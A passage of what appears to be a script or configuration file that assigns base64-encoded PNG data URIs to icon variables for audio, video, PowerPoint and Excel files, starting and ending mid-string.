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",audio_icon="data:image/png;base64,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",video_icon="data:image/png;base64,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",powerpoint_icon="data:image/png;base64,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",excel_icon="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAAEdNJREFUeF7dW2l0VdUV3ve+l5cEEmaCTIEAEhISkjAkQWyLIJMEGSwyB4Eq86yIihpGA8g8dQIZtDJIhVUma/vDpYK1XVYrUFnLuWrtkrYOWJI33Nu1z7jPffeFYJeIDUtzue+8c+/+zt7f/vY+Bwu+45/xP3uwecS2iqPRcKntWoXhWDTncrR62W/nb9t1LV7NuhYPwWf0rqgINm4Zzg3Got3ACpQ4lpsfi0Y7RZxYo+poGC6Hq6E6Eoao44ATid31+rKn91yLd/tWABi+9YHGySmxQrCTiwKxWI8YQG7UiXUIR8MpVdE